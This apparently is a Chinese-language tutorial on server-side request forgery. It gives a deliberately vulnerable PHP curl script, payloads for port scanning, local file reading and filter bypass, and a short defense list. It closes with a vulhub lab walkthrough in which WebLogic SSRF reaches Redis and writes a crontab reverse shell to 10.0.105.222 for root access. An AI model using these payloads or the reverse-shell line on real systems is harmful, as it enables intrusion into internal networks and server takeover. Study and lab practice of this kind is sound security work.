文章目录
一:概述
互联网上的很多WEB应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片,文件资源(下载或读取)。
用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果WEB应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。
请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的web安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务端请求伪造”,英文名字为Server-Side Request Forgery,简称SSRF。
SSRF是一种攻击者发起的伪造,由服务器端发起请求的一种攻击,也是常见web安全漏洞(缺陷或者风险)之一。
二:SSRF危害
端口扫描
内网web应用指纹识别
攻击内网web应用
读取本地文件
三:SSRF常见代码实现
在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现改功能。
通过phpinfo()函数查看对curl扩展的支持,现在大部分wamp套件(windows,apache,mysql,php)均支持curl扩展。如下图:
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename, "r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
将以上代码保存成文件ssrf_curl.php。该段代码实现了从服务器获取资源的基本功能,提交?url=http://www.baidu.com页面就会载入百度首页的资源。
同时,获取的资源文件会保存在./curled中,并以发起请求时间的unix时间戳命名。
如下图:
右键记事本打开上图的txt文件,就是百度首页的html代码
四:SSRF利用
4.1:访问正常文件
访问正常的文件,提交参数?url=http://www.baidu.com/robots.txt
4.2:端口扫描
当访问未开放端口,脚本会显示空白或者报错。提交参数?url=dict://127.0.0.1:1234
当访问开放端口时,脚本会显示banner信息。例如:
提交参数?url=dict://127.0.0.1:3306
提交参数?url=dict://127.0.0.1:21
这样我们只需要变换IP就能实现端口扫描
4.3:读取系统本地文件
利用file协议可以任意读取系统本地文件,提交参数?url=file://c:\windows\system32\drivers\etc\hosts
4.4:内网web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些独特的文件和目录。
通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。?url=http://localhost/phpmyadmin/README
4.5: 攻击内网应用
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获取shell,这里的应用包括服务、web应用等。仅仅通过get方法可以攻击的web应用有很多,比如struts2命令执行等。
4.6:SSRF漏洞的挖掘
对外发起网路请求的地方都可能存在SSRF漏洞,图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源文件处理,编码处理,属性信息处理等)
思维导图:
SSRF漏洞挖掘思维导图:
|----目标:从外网无法访问的内部系统
|----原因:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制
|
|
| |1)分享:通过url地址分享网页内容
| |2)转码服务:通过url地址把原地址的网页内容调优使其适合手机屏幕浏览
| |3)在线翻译:通过url地址翻译对应的文本的内容。提供此功能的国内公司有百度,有道等。
| |---从web功能上寻找---------|4)图片加载与下载:通过url地址加载或下载图片
| | |5)图片、文章收藏功能
| | |6)未公开的api实现以及其他调用url的功能
| |
| | |--- share
SSRF漏洞挖掘 -------|----挖掘-------| |--- wap
| | |--- url
| | |--- link
| | |--- src
| | |--- source
| |---从url中寻找关键字 ------|--- target
| |--- u
| |--- 3g
| |--- display
| |--- sourceURI
| |--- imageURL
| |--- domain
|
|----验证----基本判断(排除法)------- burpsuite抓包
| `----- 右键打开图片
|
|
|
|---绕过----http://A.com@10.10.10.10 这里访问的其实是10.10.10.10
`----ip地址转换成进制------- 115.239.210.26 = 16373751032
五:SSRF的防御
-
限制协议:仅允许http和https请求。有兴趣的还可以看看gopher协议
-
限制IP:避免应用被用来获取内网数据,攻击内网。
-
限制端口:限制请求的端口为http常用的端口,比如:80,443,8080,8090
-
过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
-
统一错误信息:避免用户可以根据错误信息来判断远端服务器的端口状态。比如网页错误统一定义404
六:SSRF实战:从ssrf到getshell
笔记:
weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意http请求,进而攻击内网中redis、fastcgi等脆弱组件。
依赖于docker技术
docker-compose up -d 启动两个docker镜像
docker ps
docker exec -it 3963de188db5 "/bin/bash" 通过docker ps查看两个镜像的id,登录其中一个
linux
crontab 计划任务
访问weblogic
http://ip:7001
存在ssrf漏洞
redis 数据库
未授权访问 在访问的时候,不需要提供用户名和密码
具有root权限
读写文件
语法:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
读写计划任务文件crontab
反弹shell到指定地址
步骤:
环境准备
Ubuntu
vulhub靶场
上述安装过程这里省略,可以参考我的前面的文章,033 ubuntu与vulhub靶场的安装
看到 2.3:下载源代码 即可
安装完成之后,如下图所示,就是环境部署好了
进入ssrf
cd weblogic/ssrf
运行docker-compose up -d
,笔者在这里出现了报错了,用了很多时间仍未得到解决,希望有大佬告知。
唉,,,终究是自己太菜了
后面采用视频截图的方式,先暂时跳过吧。。。
创建两个docker镜像成功
可以通过命令docker ps
进行查看。
进入其中一个镜像,docker exec -it 3963de188db5 "/bin/bash"
通过docker ps查看两个镜像的id,登录其中一个
备份文件
访问weblogic
http://ip:7001
若看到如下图内容,则说明weblogic已经启动了。
接下来访问漏洞存在的地方10.0.105.222:7001/uddiexplorer
点击红框框住的内容,Public Registry选择 IBM
这时,打开bp进行抓包,然后再点击search按钮,查看抓包内容,并发送到repeater模块
点击go,并把response内容发送到comparer模块,下图中的http地址里面的%3A%2F其实就是./,可以选中,然后右键url decode得到
再把上述http地址改成:http://www.baidu.com
,再点击go,再把response发送到comparer
点击words,进行信息比较
这里报错信息不同,我们就怀疑这里存在SSRF漏洞,因为换了不同的IP地址,报错信息不同。
通过错误的不同,即可探测内网端口。
怎么探测呢?
先把地址改成localhost,然后go,再把response发送到comparer
再加上7001端口。
比较两次的包的内容区别
到此为止,就能确定存在SSRF漏洞,
接下来就是进行访问内网IP,采取盲测的方法
首先192.168.1.1,然后go,查看response信息,提示不能连接
然后继续更换内网IP,直到连接成功。
这里我们作弊一下,查看内网的网段
然后输入ip地址,
把端口号改为 6379
本机开启监听
把这下面的url编码添加到端口号6379的后面
如下图:
然后点击go,进行发包。
再然后回到下图页面
我们需要等待一会,等待回连
到此就获得了root权限。通过whoami
查看。